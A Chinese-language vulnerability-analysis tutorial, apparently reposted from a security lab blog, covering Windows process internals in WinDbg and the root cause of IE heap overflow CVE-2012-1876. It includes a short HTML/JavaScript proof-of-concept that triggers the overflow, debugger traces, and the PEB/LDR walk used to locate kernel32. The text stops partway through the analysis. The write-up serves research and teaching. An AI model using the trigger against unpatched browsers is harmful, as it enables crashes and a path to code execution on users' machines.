未加星标

WinDbg 漏洞分析调试(一)

字体大小 | |
[系统(windows) 所属分类 系统(windows) | 发布者 店小二03 | 时间 2017 | 作者 红领巾 ] 0人收藏点击收藏

Author: xd0ol1 (知道创宇404实验室)

0x00 引子

最近开始要在部门内进行 WinDbg 漏洞分析方面的专题showcase,打算将每次分享的内容整理成文章,希望能写一个系列。另外,鉴于笔者还在学习中,不对的地方还望各位多多指正:D

0x01 概述

本文将作为此系列的开篇,首先会提及windows进程的知识,而后就进入正式的漏洞分析,此次选的是一个IE漏洞(CVE-2012-1876)。需要说明一点,随着微软在自身安全上的不断改进,漏洞利用的难度也越来越大,出于学习目的这里主要关注比较经典的漏洞,虽然有些可能比较老了,但还是很有借鉴意义的。

0x02 Windows 进程

下面将通过实际例子对Windows进程做个概述,内容比较基础。

在逆向分析中,进程往往作为基本的调试单元,因此对其的理解是有必要的。这里我们先打开IE浏览器,可以知道对每个选项卡IE都会创建一个子进程来处理,接着我们打开WinDbg并附加到当前的IE页面进程,“|”和“~”命令可用于查看进程和线程的状态,注意前面有个小点的是此时所处的进程和线程,可以看到一个进程中包含有多个线程:

0:012> | . 0 id: ed8 attach name: C:\Program Files\Internet Explorer\iexplore.exe 0:012> ~ 0 Id: ed8.edc Suspend: 1 Teb: 7ffde000 Unfrozen 1 Id: ed8.ee0 Suspend: 1 Teb: 7ffdd000 Unfrozen 2 Id: ed8.ee4 Suspend: 1 Teb: 7ffdc000 Unfrozen 3 Id: ed8.ee8 Suspend: 1 Teb: 7ffdb000 Unfrozen 4 Id: ed8.eec Suspend: 1 Teb: 7ffda000 Unfrozen 5 Id: ed8.ef0 Suspend: 1 Teb: 7ffd9000 Unfrozen 6 Id: ed8.ef4 Suspend: 1 Teb: 7ffd8000 Unfrozen 7 Id: ed8.ef8 Suspend: 1 Teb: 7ffd7000 Unfrozen 8 Id: ed8.efc Suspend: 1 Teb: 7ffd6000 Unfrozen 9 Id: ed8.f00 Suspend: 1 Teb: 7ffd5000 Unfrozen 10 Id: ed8.f04 Suspend: 1 Teb: 7ffd4000 Unfrozen 11 Id: ed8.f08 Suspend: 1 Teb: 7ffd3000 Unfrozen . 12 Id: ed8.f4c Suspend: 1 Teb: 7ff9f000 Unfrozen

当然,如果需要WinDbg也是可以同时调试多个进程的,更详细的内容我们可以通过“!peb”和“!teb”命令来查看,其中PEB(Process Environment Block)存放着进程信息,而TEB(Thread Environment Block)则存放着线程信息。同时,通过“!address”命令可列出进程的地址空间信息,如下是用户模式下从地址0x00000000开始到0x80000000的信息,只给出部分:

0:012> !address BaseAddr EndAddr+1 RgnSize Type State Protect Usage ------------------------------------------------------------------------------------------- * 0 10000 10000 MEM_FREE PAGE_NOACCESS Free * 10000 20000 10000 MEM_MAPPED MEM_COMMIT PAGE_READWRITE MemoryMappedFile "PageFile" * 20000 27000 7000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "PageFile" ...... * 12b0000 12b1000 1000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image "C:\Program Files\Internet Explorer\iexplore.exe" |- 12b1000 12bc000 b000 MEM_IMAGE MEM_COMMIT PAGE_EXECUTE_READ Image "C:\Program Files\Internet Explorer\iexplore.exe" |- 12bc000 12bd000 1000 MEM_IMAGE MEM_COMMIT PAGE_READWRITE Image "C:\Program Files\Internet Explorer\iexplore.exe" |- 12bd000 1356000 99000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image "C:\Program Files\Internet Explorer\iexplore.exe" * 1356000 1360000 a000 MEM_FREE PAGE_NOACCESS Free * 1360000 172d000 3cd000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "PageFile" * 172d000 1730000 3000 MEM_FREE PAGE_NOACCESS Free ...... |- 3c0f000 3c10000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [ed8.f04; ~10] |- 3c10000 3c20000 10000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [ed8.f04; ~10] * 3c20000 3c21000 1000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat" |- 3c21000 3fa6000 385000 MEM_MAPPED MEM_COMMIT PAGE_WRITECOPY MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat" |- 3fa6000 3fa7000 1000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat" * 3fa7000 4110000 169000 MEM_FREE PAGE_NOACCESS Free * 4110000 420a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [ed8.f4c; ~12] |- 420a000 420c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [ed8.f4c; ~12] |- 420c000 4210000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [ed8.f4c; ~12] * 4210000 5fff0000 5bde0000 MEM_FREE PAGE_NOACCESS Free * 5fff0000 60000000 10000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READ <unclassified> * 60000000 6af50000 af50000 MEM_FREE PAGE_NOACCESS Free * 6af50000 6af51000 1000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image "C:\Windows\System32\mshtml.dll" |-6af51000 6b488000 537000 MEM_IMAGE MEM_COMMIT PAGE_EXECUTE_READ Image "C:\Windows\System32\mshtml.dll" ...... * 7ffde000 7ffdf000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE TEB [ed8.edc; ~0] * 7ffdf000 7ffe0000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE PEB [ed8] * 7ffe0000 7ffe1000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READONLY <unclassified> |-7ffe1000 7fff0000 f000 MEM_PRIVATE MEM_RESERVE PAGE_NOACCESS <unclassified>

可以看到用户进程空间中一般包含主模块、共享模块、堆栈资源等,相应的虚拟内存页也都有着各自的属性状态。

那么对于这样的进程是如何从无到有创建起来的呢?这就不得不提 PE格式 了,比如上面的exe、dll模块都是属于这种类型的文件,简单来看PE文件包含了DOS头、PE头、节表以及节数据,二进制数据将按装入内存后的页属性归类到不同的节中,而各个节中的数据按用途又可以被分为导出表、导入表、重定位表等数据块,通过“!dh [标志] 模块地址”命令可以显示非常详细的PE头信息。当我们运行iexplore.exe的时候,操作系统将分配所需资源并按照此PE文件中的信息完成加载,即进程的创建。一般来说,PE文件的加载过程是由操作系统提供的PE Loader功能实现的,但我们也可以自己手动实现此过程,比如 ReflectiveLoader 这个技术,它就能在当前进程中完成一个独立dll的加载,一些勒索病毒就是用的这个技巧来躲避杀软。我们可以由此技术大体了解下PE Loader的功能,首先是查找kernel32等模块中的特定函数,即获取模块基址和处理PE格式,而后申请空间写入节数据、处理输入表和重定位表等,最后跳转到执行入口,即模拟原先操作系统的加载。 我们可以简单看下如何获取kernel32模块的基址,这里由查找LDR链实现,即FS:[30] -> _PEB_LDR_DATA -> _LDR_DATA_TABLE_ENTRY: 0:012> dd fs:[30] L1 003b:00000030 7ffdf000 0:012> dt ntdll!_PEB 7ffdf000 ...... +0x003 SpareBits : 0y000 +0x004 Mutant : 0xffffffff Void +0x008 ImageBaseAddress : 0x012b0000 Void +0x00c Ldr : 0x77797880 _PEB_LDR_DATA +0x010 ProcessParameters : 0x00341170 _RTL_USER_PROCESS_PARAMETERS ...... 0:012> dt ntdll!_PEB_LDR_DATA 0x77797880 +0x000 Length : 0x30 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3419d0 - 0x3b29d0 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x3419d8 - 0x3b29d8 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x341a60 - 0x3b29e0 ] +0x024 EntryInProgress : (null) +0x028 ShutdownInProgress : 0 '' +0x02c ShutdownThreadId : (null) 0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x3419d0 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341a50 - 0x7779788c ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341a58 - 0x77797894 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ] +0x018 DllBase : 0x012b0000 Void +0x01c EntryPoint : 0x012b1c9a Void +0x020 SizeOfImage : 0xa6000 +0x024 FullDllName : _UNICODE_STRING "C:\Program Files\Internet Explorer\iexplore.exe" +0x02c BaseDllName : _UNICODE_STRING "iexplore.exe" ...... 0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341a50 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341d48 - 0x3419d0 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341d50 - 0x3419d8 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x341e40 - 0x7779789c ] +0x018 DllBase : 0x776c0000 Void +0x01c EntryPoint : (null) +0x020 SizeOfImage : 0x13c000 +0x024 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll" +0x02c BaseDllName : _UNICODE_STRING "ntdll.dll" ...... 0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341d48 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341e30 - 0x341a50 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341e38 - 0x341a58 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x342688 - 0x341e40 ] +0x018 DllBase : 0x76340000 Void +0x01c EntryPoint : 0x7638bde4 Void +0x020 SizeOfImage : 0xd4000 +0x024 FullDllName : _UNICODE_STRING "C:\Windows\system32\kernel32.dll" +0x02c BaseDllName : _UNICODE_STRING "kernel32.dll" ......

这样我们就获取了kernel32模块的基址,接着就可以解析PE格式来继续后面的操作了。总体来看,要更好理解进程的创建需要了解相关的PE文件数据结构以及一些操作系统的数据结构,而WinDbg可以作为其中一个很好的学习工具,当然,完整的进程创建还是比较复杂的,除了这里关注的加载过程,还包括资源的分配管理等。

最后提一下WinDbg,它的相关命令可以参考 这里 ,实际操作几次会熟悉的快点,此外,一定要设置好符号文件,毕竟在没有源码的情况下如果能有符号文件,那么对调试二进制文件来说将有莫大的帮助。

0x03 CVE-2012-1876 成因分析

接下来我们将借助WinDbg来详细跟一下CVE-2012-1876这个漏洞的成因,至于利用部分我们将在下回讨论。

1、漏洞简介

这是一个IE浏览器的漏洞,成功利用可实现远程代码执行,在Pwn2own 2012上VUPEN团队就用其攻陷了IE9。错误出在mshtml.dll这个模块的CTableLayout::CalculateMinMax函数里,程序在执行时会以HTML代码中\

元素的span属性作为循环控制次数向堆空间写入数据,如果此span值设置的不当,那么就会引发堆溢出问题。

其中mshtml.dll模块是IE中的重要组件,它用来解析页面中的HTML和CSS,我们后续的分析也主要集中在此模块中。如下列出了IE中的主要组件,可参考微软的 说明 :


WinDbg 漏洞分析调试(一)
图0Internet Explorer的主要组件

2、漏洞成因

用到的分析环境为Win7 x86 - IE 8.0.7601.17514,装完系统后默认的就是此IE版本,后面的分析都是在此环境下进行的。这部分内容我们将通过如下的PoC代码来梳理:

<html> <body> <table style="table-layout:fixed" > <col id="132" width="41" span="6" > </col> </table> <script> function over_trigger() { var obj_col = document.getElementById("132"); obj_col.width = "42765"; obj_col.span = 666; } setTimeout("over_trigger();",1); </script> </body> </html>

上述代码的功能还是很清晰的,最开始创建时span的属性值为6,而后通过js中的over_trigger()函数将其动态更新为666,当然,更新后的值可以是任意的,只要能保证溢出就可以了。另外,width的属性值和写入堆空间的内容有关,这个后面会再提。

将PoC保存为html文件并双击打开,会弹出阻止提示,此时用WinDbg附加IE进程,附加列表中会有两个IE进程,选择后一个,即当前选项卡对应的子进程。这里假设你的符号文件都已经配置好了,我们通过“.reload /f”命令强制加载,“lm”命令可以查看加载的结果。首先我们设置好如下几个断点:

0:011> bp mshtml!CTableLayout::CalculateMinMax 0:011> bp mshtml!_HeapRealloc 0:011> x mshtml!*get*span 6c724645 mshtml!CTableCell::GetAArowSpan = <no type information> 6c62373b mshtml!CTextDisplayBox::GetRectsForSpan = <no type information> 6c623a79 mshtml!CLsClient::GetRectsForSpan = <no type information> 6c724623 mshtml!CTableCell::GetAAcolSpan = <no type information> 6c69a6cb mshtml!CTableCol::GetAAspan = <no type information> 6ca3c470 mshtml!CTableCell::get_colSpan = <no type information> 6c6d28a5 mshtml!CTextBlock::SBlockBuildingState::GetSpan = <no type information> 6c69a66e mshtml!CTableColumnBlock::GetColSpan = <no type information> 6ca3c587 mshtml!CTableCell::get_rowSpan = <no type information> 6c69f824 mshtml!Ptls5::LsGetFirstActiveSpan = <no type information> 6c69a66e mshtml!CTableColumnGroupBlock::GetColSpan = <no type information> 6c69cb19 mshtml!Ptls5::LsGetNextActiveSpan = <no type information> 0:011> bp mshtml!CTableCol::GetAAspan 0:011> bd 1 2 0:011> bl 0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax 1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc 2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan

对于那些记不住的函数,我们可以通过“x”命令来查看一下,错误位置在CTableLayout::CalculateMinMax函数中,所以这个地方肯定要下个断点,又因为是堆溢出,所以_HeapRealloc函数也来个断点,最后的CTableCol::GetAAspan函数是用来获取span属性值的,1和2两个断点目前暂时禁用。“g”命令跑起来,在IE中允许阻止的内容,弹出警告直接确定,回到WinDbg可以看到程序第一次在CTableLayout::CalculateMinMax函数入口断下来了,这是处理最开始创建时span值为6的情况,查看调用栈:

0:011> g ModLoad: 6d0a0000 6d152000 C:\Windows\System32\jscript.dll Breakpoint 0 hit eax=ffffffff ebx=0019fd70 ecx=00412802 edx=ffffffff esi=00000000 edi=0249c914 eip=6c71a078 esp=0249c6b8 ebp=0249c8d0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax: 6c71a078 8bff mov edi,edi 0:004> kb ChildEBP RetAddr Args to Child 0249c6b4 6c71a6b8 0019fd70 0249c948 00000000 mshtml!CTableLayout::CalculateMinMax 0249c8d0 6c710879 0249c948 0249c914 00000001 mshtml!CTableLayout::CalculateLayout+0x276 0249ca7c 6c81566c 0249d998 0249cca8 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 0249cbb4 6c8118f9 0019fd70 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 ......

我们看下CTableLayout::CalculateMinMax函数的声明:

void __thiscall CTableLayout::CalculateMinMax(CTableLayout *theTableLayoutObj, LPVOID lpUnknownStackBuffer);

上述是IDA给出的结果,我们主要关注CTableLayout*这个变量,它是一个指针,由上面的“kb”命令可知其值为0019fd70:


WinDbg 漏洞分析调试(一)
图1CTableLayout*变量的定义 0:004> ln poi(0019fd70) (6c619960) mshtml!CTableLayout::`vftable' | (6c619aa0) mshtml!CTableLayoutBlock::`vftable' Exact matches: mshtml!CTableLayout::`vftable' = <no type information>

绿色标识的为vftable值,蓝色标识的为span属性值也就是6,黄色标识的为申请的堆空间起始地址,目前还没分配所以为NULL。我们继续:

0:004> bl 0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax 1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc 2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan 0:004> be 1 2 0:004> g Breakpoint 1 hit eax=00000000 ebx=00000000 ecx=000000a8 edx=00000000 esi=0019fe0c edi=0019fe00 eip=6c7cd7a5 esp=0249c5ec ebp=0249c604 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!_HeapRealloc: 6c7cd7a5 8bff mov edi,edi 0:004> gu eax=00000000 ebx=00000000 ecx=77505dd3 edx=0019eb8f esi=0019fe0c edi=0019fe00 eip=6c7e34e2 esp=0249c5f4 ebp=0249c604 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CImplAry::EnsureSizeWorker+0xa1: 6c7e34e2 8bd8 mov ebx,eax 0:004> dd 0019fd70 L30 0019fd70 6c619960 00136dd0 00159800 6c7ce3b8 0019fd80 00000001 00000000 0108080d ffffffff 0019fd90 00000000 00000000 00000000 ffffffff 0019fda0 0001cbc4 0000f424 00000000 00000000 0019fdb0 00000000 00412802 00000000 00000000 0019fdc0 00000000 00000006 00000000 ffffffff 0019fdd0 00000000 ffffffff 6c61a594 00000004 0019fde0 00000004 0018b830 6c61a594 00000018 0019fdf0 00000006 00165700 00000000 00000000 0019fe00 6c61a594 00000000 00000000 0019eb90 0019fe10 00000000 00000000 00000000 00000000 0019fe20 00000000 00000000 00000000 00000000

程序申请了堆空间用于保存column的样式信息,每个样式信息占0x1C字节,有多少个样式信息由span属性值来确定,因此这里申请的堆空间大小为0x1C*6=0xA8,即_HeapRealloc函数入口断下后ecx寄存器的值,函数调用时的入参如果用到寄存器的话一般都是ecx,返回参数一般保存在eax中,同时注意随后分配的初始地址会保存到esi寄存器对应的地址处,即前面的黄色标识处,可以看到此时的值由NULL变为0x0019eb90了。

继续运行程序会在CTableCol::GetAAspan处断下来,也就是获取span值作为写入样式信息时循环的控制次数,函数返回结果保存在eax中,此时的值为6:

0:004> g Breakpoint 2 hit eax=00183570 ebx=0019fd70 ecx=00000033 edx=00000006 esi=0019ec38 edi=00183570 eip=6c69a6cb esp=0249c60c ebp=0249c6b4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableCol::GetAAspan: 6c69a6cb 8bff mov edi,edi 0:004> gu eax=00000006 ebx=0019fd70 ecx=00000002 edx=00148528 esi=0019ec38 edi=00183570 eip=6c8af31f esp=0249c610 ebp=0249c6b4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x3ac: 6c8af31f 3de8030000 cmp eax,3E8h

再来看下程序向申请的堆空间写入样式信息的过程,我们在起始地址处下个写入断点:

本文系统(windows)相关术语:三级网络技术 计算机三级网络技术 网络技术基础 计算机网络技术

主题: WindowsHTML360数据结构浏览器RY数据CSSCUUT
分页:12
转载请注明
本文标题:WinDbg 漏洞分析调试(一)
本站链接:http://www.codesec.net/view/522865.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(windows) | 评论(0) | 阅读(34)